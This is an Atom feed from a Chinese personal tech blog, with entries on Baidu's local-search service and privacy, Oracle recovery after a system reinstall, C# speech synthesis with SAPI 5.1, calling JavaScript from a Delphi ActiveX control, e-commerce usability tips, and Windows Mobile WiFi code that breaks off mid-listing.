<?xml version="1.0" encoding="UTF-8"?>
  <feed xmlns="http://www.w3.org/2005/Atom">
  <title type="html"><![CDATA[Cxty's Blog]]></title>
  <subtitle type="html"><![CDATA[嘻嚓啼歪的小窝窝]]></subtitle>
  <id>http://www.openx.cn/</id> 
  <link rel="alternate" type="text/html" href="http://www.openx.cn/" /> 
  <link rel="self" type="application/atom+xml" href="http://www.openx.cn/atom.asp" /> 
  <generator uri="http://www.pjhome.net/" version="2.4.1022">PJBlog2</generator> 
  <updated>2010-11-08T22:08:12+08:00</updated> 

  <entry>
	  <title type="html"><![CDATA[“百度身边” 有感]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=5" label="点点滴滴" /> 
	  <updated>2010-11-08T22:08:12+08:00</updated>
	  <published>2010-11-08T22:08:12+08:00</published>
		  <summary type="html"><![CDATA[“百度身边”是一个以美食、购物、休闲娱乐、酒店、健身等为主的本地生活信息搜索和分享平台，致力于通过用户贡献的方式汇集更多更好的本地商户信息，为用户的消费决策提供支持。<a href="http://shenbian.baidu.com/login" target="_blank">http://shenbian.baidu.com/login</a><br/><br/>PS：<br/>&nbsp;&nbsp;&nbsp;&nbsp; 百度也开始整合资源，利用广大无私的廉价劳动力提纯各类信息，生产出有针对性的信息。<br/>&nbsp;&nbsp;&nbsp;&nbsp; 相信Google、Facebook、Twitter也即将突破现有瓶颈（发展到一定阶段的核心转移），推出类似的应用。<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp; 互联网是一个开放的社会，这是互联网存在的初衷，虽然因政治、商业等利益的博弈现在的开放有点变为，但我坚信一定会有一种机制或方式将互联网中的各个个体，再次有机的融合成一个交互的开放的整体，任何事物的发展总是呈现两头尖中间宽的状态（开放-&gt;闭塞-&gt;开放；分散-&gt;聚合-&gt;分散；简单-&gt;繁琐-&gt;简单），这种过程是不可逆的，新的顶点必定是原点的升华，然后成为新的原点。<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp; 我的理解其实这就是第三代互联网的基础（第一代互联网：信息是单向的，用户被动接收；第二代互联网：信息是双向的，用户在获取信息的同时可以推送信息；第三代互联网:信息是智能的，获取与推送过程中信息就具有了生命，还是会思考的生命）。有了信息的重新整理，信息的融合与交互，再加上人为参与的逻辑分析，信息才会智能。<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp; 但必须理解个人隐私，将个人隐私与人为参与划分界限（主动行为分析，潜意识行为分析，被动行为分析），用户的各种行为肯定会被各种方式记录，有利于个人更好的获取有价值信息的行为记录经过用户授权的，并且可以转换成公共行为记录的（如：用户A看了一张图片，给图片打标记为“苹果”，其中为该图片打标记的用户中有80%也标记为“苹果”）才是可用的，针对的是相同行为的分析，而不是个体用户的行为的记录。并且必须有一个用户行为记录生存期，在用户允许记录的时间范围内记录，超过则必须销毁与该用户相关的行为记录，不然想想挺恐怖的。<br/>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=473" /> 
	  <id>http://www.openx.cn/default.asp?id=473</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[[转]重装系统后ORACLE的恢复的几种方法]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2009-08-28T11:20:11+08:00</updated>
	  <published>2009-08-28T11:20:11+08:00</published>
		  <summary type="html"><![CDATA[第一种：<br/>首先，备份数据库(X:\oracle\oradata)下的数据文件，重新命名即可(否则装数据库的时候会提示sid已存在)。重新安装数据库，当然数据库的名字就是你要恢复的名字。安装完成后，打开控制面板，停止oracle的服务。把(X:\oracle\oradata)下新生成的文件改名，把原先目录下的文件恢复名字。再重新启动oracle服务和监听。用sys/as dba 登陆数据库，可能会提示权限不够（ora-01031）修改（X:\oracle\ora92\network\admin )文件夹下的sqlnet.ora文件，添加SQLNET.AUTHENTICATION_SERVICES= (NTS)，增加权限。登陆进去后，打开table提示不能打开。打开common页，执行命令alert database open；这时再刷新table，发现原先的表可以打开了。恢复成功了。再用原先数据库的普通用户进入。发现一切正常。至此，大功告成。<br/><br/>第二种：<br/>1、首先，将原来的ORACLE文件夹改名，原来的路径是D:/oracle。我暂时改成D:/oracle_old。找来ORACLE（我用的是ORACLE 9I）安装光盘，将ORACLE安装在原来安装的目录下，这样恢复起来更加方便，主要是注册表的内容不用修改。 <br/><br/>2、安装完了之后，系统中又有一个可以使用的ORACLE了。这个时候要做的就是将原来的文件和数据恢复过来。第一步，先关闭ORACLE的所有已经启动的项目，在“服务”里面逐一关闭。然后，将安装目录改名。我现在用的是D:/oracle。改成D:/oracle_new。再将D:/oracle_old改成D:/oracle。 <br/>这样理论上说从物理层面恢复了ORACLE了。但是我们发现，现在还不能启动ORACLE的监听程序和服务程序。我们还要从逻辑上解决。<br/> <br/>3、在dos环境下执行一个删除命令：oradim -del&#101;te -sid mm，其中mm为创建oracle时候创建的实例 建议执行这个命令后重新启动机器，重启后就可以建立和原来实例名相同的实例。当然你懒，不重新启动也可以，但是你的实例名就不能和原来的一样了。 <br/><br/>4、在dos环境下执行命令 o&#114;adim -new -sid mm -startmode a -pfile &#34;D:\oracle\admin\mm\pfile\initmm.ora &#34;创建一个新的实例，其中 “mm“为新数据库的名称。 <br/><br/>5、启动服务，先打开数据库，然后可以用以前的用户名和密码登陆进去。 <br/>要补充的是，一般的ORACLE数据库的监听程序都是用电脑的名称来识别地址的，而不是127.0.0.1或者localhost。所以，如果我们安装系统的时候用的是不同的电脑名称（比如我原来用的是wm_mm。重新安装后用的是wenming_mm），那么我们还有一个工作要做，就是修改文件 listener.ora。将里面的相关的东西改过来就可以了。 <br/><br/>需要耐心、细心，可能在一步里有一个细小的差别就会出些古怪的错误提示，有时需要根据错误提示采取策略，总之原理是，先装一个一模一样的ORACLE，安装目录、数据库名称都一样，这样保证注册表里不用更改；再覆盖物理文件，最后重新实例化，打开数据库就可以进去了。<br/><br/>注：恢复必须要有以下文件 <br/>a、初始化参数文件INIT.ORA <br/>b、所有数据文件 .dbf <br/>c、所有重做日志文件（联机日志、归档日志）redo <br/>d、所有控制文件 crtl <br/>e、internal密码文件<br/>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=472" /> 
	  <id>http://www.openx.cn/default.asp?id=472</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[正准备弄个语音识别的，转个材料“.Net平台下开发中文语音应用程序”]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=7" label="移动开发" /> 
	  <updated>2009-07-10T14:24:50+08:00</updated>
	  <published>2009-07-10T14:24:50+08:00</published>
		  <summary type="html"><![CDATA[摘要：<br/>语音是人类最自然的交互方式，也是现阶段软件用户界面发展的最高目标。微软公司一直积极推动语音技术的发展，并且公布了语音开发平台Speech SDK帮助开发人员实现语音应用。<br/>随着.net技术深入人心，越来越多的程序员开始转到.net平台上进行开发。然而，在新发布的.net speech SDK里面并没有对中文语音进行支持，目前支持中文的Speech SDK最高版本为Windows平台下的SAPI 5.1()，本文介绍如何在.net平台下利用SAPI5.1开发中文语音应用程序。<br/><br/>--------------------------------------------------------------------------------<br/><br/>目录：<br/>1. SAPI.51 SDK浅析以及安装<br/>2. 导入COM对象到.Net<br/>3. 用C#开发中文TTS应用程序示例<br/>4. 结论<br/>5. 参考文献<br/><br/>--------------------------------------------------------------------------------<br/><br/>1． SAPI.51 SDK浅析以及安装<br/>SAPI SDK是微软公司免费提供的语音应用开发工具包，这个SDK中包含了语音应用设计接口（SAPI）、微软的连续语音识别引擎（MCSR）以及微软的语音合成（TTS）引擎等等。目前的5.1版本一共可以支持3种语言的识别 (英语，汉语和日语)以及2种语言的合成（英语和汉语）。SAPI中还包括对于低层控制和高度适应性的直接语音管理、训练向导、事件、语法编译、资源、语音识别(SR)管理以及TTS管理等强大的设计接口。其结构如图(1)：<br/><br/><br/>图(1)<br/>语音引擎则通过DDI层（设备驱动接口）和SAPI(SpeechAPI)进行交互，应用程序通过API层和SAPI通信。通过使用这些API，用户可以快速开发在语音识别或语音合成方面应用程序。<br/>SAPI5.1 SDK可以从微软网站下载：<a href="http://www.microsoft.com/speech/download/sdk51/" target="_blank">http://www.microsoft.com/speech/download/sdk51/</a> 需要安装程序的有Speech SDK 5.1（68M）和5.1 Language Pack （81.5M）。<br/><br/>--------------------------------------------------------------------------------<br/><br/>2． 导入COM对象到.Net<br/>SAPI5.1的基于Windows平台的，通过COM接口进行调用。在.Net平台下要应用SAPI5.1，我们可以利用.Net Framework自带的强大工具TlbImp.exe来把SAPI SDK的COM对象导入到.Net中。TlbImp.exe产生一个管制的包装类，管理客户端可以使用它。包装类管理实际的COM对象的参考数。当包装类当作收集的垃圾时，包装类释放掉它包装的COM对象。当然，你也可以在VS.NET环境中通过从项目参考对话框选择COM对象，实现COM对象的导入，这个过程也是通过TlbImp.exe来完成的。<br/>下面演示如何导入SAPI的COM对象：<br/>D:\Program Files\Common Files\Microsoft Shared\Speech&gt;Tlbimp sapi.dll /out: DotNetSpeech.dll<br/><br/>在安转SDK以后，可以在D:\Program Files\Common Files\Microsoft Shared\Speech\目录下面找到SAPI.dll，这里面定义了SAPI的COM对象，用Tlbimp.exe工具将该dll转换成.net平台下的Assembly---DotNetSpeech.dll，转换的过程会提示不少的警告(warning)，但这部影响我们的开发，可以忽略。最后，我们可以用ildasm查看DotnetSpeech.dll里面的对象。<br/><br/>--------------------------------------------------------------------------------<br/><br/>3． 用C#开发中文TTS应用程序示例<br/>下面通过一个实例来介绍如何利用C# 进行开发语音应用程序，开发环境为：<br/>操作系统： Windows 2000 中文版+ SP3<br/>.Net Framework: 1.0.3705（英文版）<br/>Visual Studio.Net 7.0.9466（英文版）<br/>首先，新建一个C#的Windows Application工程SpeechApp，在开发环境的右边的解决方案管理器(Solution Explorer)中，添加DotNetSpeech对象库。右键点击&#34;Reference&#34;(参考)，选择&#34;Add Reference&#34;（添加参考），在弹出的文件选择对话框中找到刚才生成的DotNetSpeech.dll。<br/><br/><br/>图(2)<br/>打开Form1.cs代码文件,在代码开头添加名字空间（注意大小写）。<br/>using DotNetSpeech;<br/>这样就实现了SAPI SDK的导入，下面我们就可以开始编写应用代码了。本示例演示如何把文本通过喇叭朗读出来以及把文本转化成语音信号（Wave声音文件），程序界面如图(3)：<br/><br/><br/>//朗读<br/>private void buttonSynthesis_Click(object sender, System.EventArgs e)<br/>{<br/>&#160;&#160;&#160;&#160;try<br/>{<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;SpeechVoiceSpeakFlags SpFlags = SpeechVoiceSpeakFlags.SVSFlagsAsync;<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;SpVoice Voice = new SpVoice();&#160;&#160;&#160;&#160;<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;Voice.Speak(this.textBoxText.Text, SpFlags);<br/>&#160;&#160;&#160;&#160;}<br/>&#160;&#160;&#160;&#160;catch(Exception er)<br/>&#160;&#160;&#160;&#160;{<br/>MessageBox.Show(&#34;An Error Occured!&#34;,&#34;SpeechApp&#34;, MessageBoxButtons.OK, MessageBoxIcon.Error);<br/>&#160;&#160;&#160;&#160;}<br/>}<br/>//生成声音文件(Wav)<br/>private void buttonTTStoWave_Click(object sender, System.EventArgs e)<br/>{<br/>&#160;&#160;&#160;&#160;try<br/>{<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;SpeechVoiceSpeakFlags SpFlags = SpeechVoiceSpeakFlags.SVSFlagsAsync;<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;SpVoice Voice = new SpVoice();&#160;&#160;&#160;&#160;<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;SaveFileDialog sfd = new SaveFileDialog();<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;sfd.Filter = &#34;All files (*.*)|*.*|wav files (*.wav)|*.wav&#34;;<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;sfd.Title = &#34;Save to a wave file&#34;;<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;sfd.FilterIndex = 2;<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;sfd.RestoreDirectory = true;<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;if (sfd.ShowDialog()== DialogResult.OK) <br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;{<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;SpeechStreamFileMode SpFileMode = SpeechStreamFileMode.SSFMCr&#101;ateForWrite;<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;SpFileStream SpFileStream = new SpFileStream();<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;SpFileStream.Open(sfd.FileName, SpFileMode, false);<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;Voice.AudioOutputStream = SpFileStream;<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;Voice.Speak(txtSpeakText.Text, SpFlags);<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;Voice.WaitUntilDone(Timeout.Infinite);<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&nbsp;&nbsp;&nbsp;&nbsp; SpFileStream.Close();<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;}<br/>&#160;&#160;&#160;&#160;}<br/>&#160;&#160;&#160;&#160;catch(Exception er)<br/>&#160;&#160;&#160;&#160;{<br/>MessageBox.Show(&#34;An Error Occured!&#34;,&#34;SpeechApp&#34;, MessageBoxButtons.OK, MessageBoxIcon.Error);<br/>&#160;&#160;&#160;&#160;}<br/>}<br/><br/>接下来,还要去控制面板配置Speech SDK引擎当前所处理语言。打开&#34;控制面板&#34;，打开&#34;语音&#34;配置项目，可以看到在这里我们可以指定当前可以对何种语言进行识别或者合成，还可以配置相关的硬件设备以及控制语速。（如图4）<br/><br/><br/>在&#34;文字-语音转换&#34;的&#34;语音选择&#34;组合框中选择简体中文(Microsoft Simplified Chinese)。这样就可以合成汉语文字了。<br/>回到VS.Net，F5编译运行刚才的应用程序，在文本框里输入汉字，戴上耳机，点击&#34;朗读&#34;按钮，开始体验新一代的智能人机界面吧，呵呵：）<br/><br/>--------------------------------------------------------------------------------<br/><br/>4． 结论<br/>微软为语音人机界面提供了强大的平台，.net环境更使这种开发方便快捷。赶快去下载SAPI5.1 SDK，让你的应用程序&#34;绘声绘色&#34;，体现Nature UI，Let’s GO!!!<br/><br/>--------------------------------------------------------------------------------<br/><br/>5． 参考文献<br/>[1] Speech SDK自带的说明文档(SAPI.chm)<br/>[2] MSDN (msdn.microsoft.com)<br/><br/>--------------------------------------------------------------------------------<br/><br/>作者：陈本峰<br/><br/><br/>摘自：<a href="http://www.microsoft.com/china/community/program/originalarticles/TechDoc/Cnspeech.mspx" target="_blank">http://www.microsoft.com/china/community/program/originalarticles/TechDoc/Cnspeech.mspx</a>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=471" /> 
	  <id>http://www.openx.cn/default.asp?id=471</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[很久没更新了，发一个delphi的]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2009-05-06T17:13:21+08:00</updated>
	  <published>2009-05-06T17:13:21+08:00</published>
		  <summary type="html"><![CDATA[关于delphi中开发activex控件，并从activex控件中调用html页面中的javascript。<br/><br/>这几天在搞个需要activex控件来实现的项目，丫丫的activex控件应该属于都快被人遗忘的技术了。<br/><br/>delphi中开发activex控件其实挺简单的，唯一的问题就是怎么调用页面中的javascript呢。<br/><br/>搜了n久发现一个c＋＋写的通过接口调用方法，看上去贼复杂。<br/><br/>其实delphi中调用页面上的javascript贼简单。<br/><br/>方法如下：<br/>1.创建一个方法-&gt;SetDoc-&gt;procedure SetDoc(const Doc: IUnknown); safecall;<br/><br/>用了一个IUnknown类型.<br/><br/>2.就一句话将IUnknown转成IHTMLDocument2-&gt;代码如下:<br/>procedure TCxty_Lib.SetDoc(const Doc: IUnknown);<br/>begin<br/>&nbsp;&nbsp;if Assigned(Doc) then<br/>&nbsp;&nbsp;begin<br/>&nbsp;&nbsp;&nbsp;&nbsp;HTMLDoc := IHTMLDocument2(Doc as IHTMLDocument);<br/>&nbsp;&nbsp;end;<br/>end;<br/><br/>注意前头要申明一个 HTMLDoc ,是IhtmlDocument2类型,我申明在 private 中.<br/><br/>3.就是写一个调用javascript的方法咯,代码如下:<br/>procedure TCxty_Lib.CallJavascript(script: string);<br/>var<br/>&nbsp;&nbsp;win: IHTMLWindow2;<br/>begin<br/>&nbsp;&nbsp;if not Assigned(HTMLDoc) then<br/>&nbsp;&nbsp;&nbsp;&nbsp;Exit;<br/><br/>&nbsp;&nbsp;win := HTMLDoc.parentWindow;<br/>&nbsp;&nbsp;if not Assigned(win) then<br/>&nbsp;&nbsp;&nbsp;&nbsp;Exit;<br/><br/>&nbsp;&nbsp;win.execScript(script, &#39;JavaScript&#39;);<br/>end;<br/><br/>delphi部分就已完成.<br/><br/>贼简单吧,还没完重要的在html页面上,代码如下:<br/>创建OBJECT<br/>&lt;OBJECT<br/>&#160;&#160;&#160;&#160;&nbsp;&nbsp;classid=&#34;clsid:C15DFE4C-B668-4178-A64B-3945365725F2&#34;<br/>&#160;&#160;&#160;&#160;&nbsp;&nbsp;codebase=&#34;Cxty_LibProj1.ocx#version=1,0,0,0&#34;<br/>&#160;&#160;&#160;&#160;&nbsp;&nbsp;width=0<br/>&#160;&#160;&#160;&#160;&nbsp;&nbsp;height=0<br/>&#160;&#160;&#160;&#160;&nbsp;&nbsp;align=center<br/>&#160;&#160;&#160;&#160;&nbsp;&nbsp;hspace=0<br/>&#160;&#160;&#160;&#160;&nbsp;&nbsp;vspace=0<br/>&#160;&#160;&#160;&#160;&nbsp;&nbsp;id=&#34;Cxty&#34;<br/>&gt;<br/>&lt;/OBJECT&gt;<br/><br/>&lt;SCRIPT LANGUAGE=&#34;JavaScript&#34;&gt;<br/>var Yannyo_Net = document.getElementById(&#39;Yannyo_Net&#39;);<br/><br/>Yannyo_Net.SetDoc(document);//这句就吧页面上的document传给了activex,然后activex就为所欲为了.<br/>&lt;/SCRIPT&gt;<br/><br/>activex中调用脚本的时候只需调用 CallJavascript(&#39;javascript函数名称(参数)&#39;);]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=470" /> 
	  <id>http://www.openx.cn/default.asp?id=470</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[改进电子商务网站易用性的10个方法]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2008-11-10T09:46:31+08:00</updated>
	  <published>2008-11-10T09:46:31+08:00</published>
		  <summary type="html"><![CDATA[<p>　　今天消费者网络购物的支出越来越多，可是太多的网站并没有考虑到他们网站和订购流程的易用性，最终导致用户很快就放弃了他们的订购。这里有10种可以提高你的电子商务网站易用性的方法，可以帮助你最大可能的提高网站的转化率，将用户的&ldquo;购物篮里的商品&rdquo;换为订单。</p>
<p>　　<strong>1、用email来标识用户(登陆名)</strong></p>
<p>　　你曾经在网上购物中，用过多少不同的用户名作为账号？又用过多少不同的Email作为账号？我敢打赌，你不仅不同的Email用的很少，而且你会发现Email比用户名，更容易记忆。大多数情况下，用Email标识用户比用户名更好。因为Email容易记忆，更标准，这意味着你不必担心去记忆哪些乱七八糟的字符。他们永远是独一无二的，永远不会像用户名那样出现重名。</p>
<p>　　<strong>2、将下订单的过程划分成几个大步骤（让用户一次处理一个任务）</strong></p>
<p>　　订购流程通常非常复杂，比较典型的场景可能包括: 用户输入一个配送地址，选择配送方式，选择输入支付方式，最后确认自己的订单。试图让用户在一个步骤里做完这些事会有问题，因为用户要输入太多的信息了！</p>
<p>　　将这些步骤分解，让用户每次能处理一个步骤，确保每个步骤需要思考和输入的信息相对较少。</p>
<p>　　举个例子，亚马逊(Amazon.com)将订购流程分解成以下步骤: </p>
<p>　　1. Login 登陆<br />　　2. Choose delivery address&nbsp; 选择配送方式<br />　　3. Choose delivery options&nbsp; 选择配送选项<br />　　4. Enter payment details&nbsp; 输入支付信息(如信用卡等)<br />　　5. Review and submit the order&nbsp; 核对并提交订单。</p>
<p>　　<strong>3、告诉用户他们在哪儿，将要去那儿？</strong></p>
<p>　　（注: 关于网络用户迷失的位置感描述，请参考&lt;Don't make me think&gt;一书）</p>
<p>　　在你的旅行中，如果你不知道自己已经走了多远，或者不知道自己还要走多远，这难道不是一件糟糕的事情吗？对用户来说，当他们试图在线买点什么东西，如果他们不知道最终完成订购还需要多少步骤，他们会倍感挫折。这就是为什么在订购过程中，告诉用户他在什么位置，而且还需要多少步骤，是多么重要！ </p>
<p>&nbsp;</p>
<p align="center">[img]http://www.webcredible.co.uk/i/dixons-order-steps.gif[/img]</p>
<p>　　举个例子，<a href="http://www.dixons.co.uk/" target="_blank">Dixons14</a>显示当前预订步骤，下一步要去的步骤。作为一种选择，你可以只是在预订步骤中简单的设定步骤号码就可以了，比如: 输入配送地址(步骤1)。</p>
<p>　　<strong>4、不要让下订单过程不必要的复杂</strong></p>
<p>　　令人惊奇的是，有太多的电子商务网站把他们的订单流程搞的无比复杂，超过他们实际需要的。据个例子，用户经常被要求按照月份输入他们的信用卡或者借记卡的有效日期(注: 这里意思是必须输入英文的日期，Jan, Feb, March之类的)，而不是简单的01，02，03等等。这就强制用户将他们卡片上显示的数字转换成单词，却无法直接输入数字。</p>
<p>　　作为产品设计人员，对每个订购步骤都要仔细考虑，以使其更简单。举个例子，预订过程中，所有的输入框都必须用户输入吗？(注: 如果不是必须的，请尽量简化)。通过不断简化流线化订单流程，你可以将用户订购过程中的体验问题降低到最少。</p>
<p>　　<strong>5、解决客人常见问题</strong></p>
<p>　　在整个订购流程中，告诉用户通常会遇到的问题和疑问的解决办法是非常重要的。举个例子，用户通常需要知道他订购的产品多久才能送到，或者当用户需要输入生日的时候，告诉他为什么要收集他的生日信息等等。</p>
<p>　　仔细走一遍预订流程并在每个步骤问问你自己: 用户可能会有什么疑问？在屏幕上给予用户提示，并且提供一个超链接，连接到详细的帮助信息。</p>
<p align="center">[img]http://www.webcredible.co.uk/i/marks-contact.gif[/img]</p>
<p>　　举个例子，<a href="http://www.marksandspencers.com/" target="_blank">Markts&amp; Spencers</a>向用户解释了他们为什么需要输入联系人电话。</p>
<p>　　<strong>6、高亮必填项</strong></p>
<p>　　再也没有比填写完一个订单后，却因为没有填写必填项，不得不返回重新填写更令人恼火的事情了。在填写一个订单中，必须非常清楚标识出哪些项目是必填的，哪些是可选的。　其实很简单，只需要在必填项前加一个&ldquo;*&rdquo;。</p>
<p align="center">[img]http://www.webcredible.co.uk/i/dabs-required-fields.gif[/img]</p>
<p>　　<a href="http://www.dabs.com/" target="_blank">dabs.com</a>这点做的非常好，可以参考。</p>
<p>　　<strong>7、让订购流程更加灵活。</strong></p>
<p>　　通过让流程更加灵活，用户不仅会感到更多的可控性，而且也不太可能遇到关键性的问题。据个例子，一些电子商务网站，当用户输入地址的时候，自动帮助用户查找邮编。这对于哪些非正式的或者新的地址可能会有问题，因为这种情况下不会为用户返回邮编。这就意味着，用户不可能简单直接输入地址就可下订单(我自己就碰到好几次这种情况了)。</p>
<p>　　一个好的例子，<a href="http://www.cdwow.com/" target="_blank">CD WOW!</a>的订购流程就非常灵活，他们允许用户不用注册直接下订单。这就意味着那些对注册感到不适的用户，仍然可以下订单。</p>
<p>　　<strong>8、让用户感到安全放心</strong></p>
<p>　　很多消费者在线购买东西时，仍然不是100%放心。他们常常担心提交了信用卡账号，却收不到货。因此努力去缓解用户的担忧，让用户感到放心是非常重要的。仔细考虑用户在订购过程中的每一步可能碰到的疑虑，并对这些疑虑进行说明。</p>
<p>　　例如<a href="http://www.tesco.com/" target="_blank">Tesco</a>在他们的订购流程的支付步骤，向用户解释在Tesco购物是安全的。</p>
<p align="center">[img]http://www.webcredible.co.uk/i/tesco-secure.gif[/img]</p>
<p>　　<strong>9、让用户下订单前再次确认</strong></p>
<p>　　订购的最后一个步骤通常会让用户确认他们的订单。用户可以看到订单的清单，包括他们需要支付多少钱，什么时候货送到。他们也可以取消或者提交此订单。最好不要拷贝亚马逊的&ldquo;<a href="http://www.amazon.com/exec/obidos/tg/browse/-/468480/ref=hp_hp_ls_2_6/002-7974525-8492044" target="_blank">amazon's &quot;1-click&quot; ordering system</a>&rdquo;, 因为这样会让用户在没有检查和确认订单细节情况下，直接提交订单。比如配送地址和送货的费用等等。(注:处理配送地址错误的订单，或者因为配送费用导致退货的问题处理，成本非常高。) </p>
<p>　　在订单提交后，应该显示订单的最终确认信息，以便让用户知道他的订单是否成功。订单最终确认信息应该包括: </p>
<p>　　* The expected delivery date　期望的送货时间<br />　　* The order number 订单号<br />　　* How to track the order online (if this is possible) 如何在线跟踪订单状态(如果可能) </p>
<p>　　<strong>10、订单成功后，发一个确认邮件。</strong></p>
<p>　　一旦用户成功提交订单，需要立刻给用户发送一个确认邮件。依据<a href="http://www.useit.com/alertbox/20031208.html" target="_blank">Jakob Nielsen's Alertbox, December 8, 2003</a>，一个确认邮件应该: </p>
<p>　　简明扼要。</p>
<p>　　告诉用户他们想要的，比如: 订单号。</p>
<p>　　应该象公司客服代表一样。</p>
<p>　　记住，在线解决问题比致电客服中心成本低得多。在线提示用户，比如告诉用户他订购的产品多久才能送到等等，将会大幅度减少客户服务的电话数量。</p>
<p>　　<strong>结论:</strong></p>
<p>　　本文概述了改进电子商务网站的10个方法，遵循这些原则不仅让你的电子商务网站更加可用，而且最终也更成功。当然，通过这些原则，你只能走这么远(实践才是检验真理的唯一标准--译者注)，这就是为什么进行可用性测试是每个电子商务网站重要部分的原因。遵循可用性原则并让真实用户进行可用性测试，你会发现你的电子商务网站不仅仅可用，而且更加有效。</p>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=469" /> 
	  <id>http://www.openx.cn/default.asp?id=469</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[Windows Mobile 中开关 WIFI 的“通用”代码]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=7" label="移动开发" /> 
	  <updated>2008-08-13T15:04:51+08:00</updated>
	  <published>2008-08-13T15:04:51+08:00</published>
		  <summary type="html"><![CDATA[<span style="COLOR: #ff6600">#pragma once<br />#include &quot;UniBase.h&quot;<br />#include &quot;Reg.h&quot;<br />#include &lt;PM.h&gt;<br /><br />class CWiFiHelper<br />{<br />private:<br />&nbsp;&nbsp;&nbsp; TCHAR m_tzDevice[MAX_NAME];</span>
<p><span style="COLOR: #ff6600">public:<br />&nbsp;&nbsp;&nbsp; CWiFiHelper()<br />&nbsp;&nbsp;&nbsp; {<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; TCHAR tzKey[MAX_PATH];<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; CReg reg(HKEY_LOCAL_MACHINE, TEXT(&quot;Comm&quot;));<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; for (UINT i = 0; reg.EnumKey(i, tzKey) == S_OK; i++)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (tzKey[UStrLen(tzKey) - 1] == '1')<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; CReg dev(reg, tzKey);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; TCHAR tzDisplayName[MAX_PATH];<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (dev.GetStr(TEXT(&quot;DisplayName&quot;), tzDisplayName))<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br 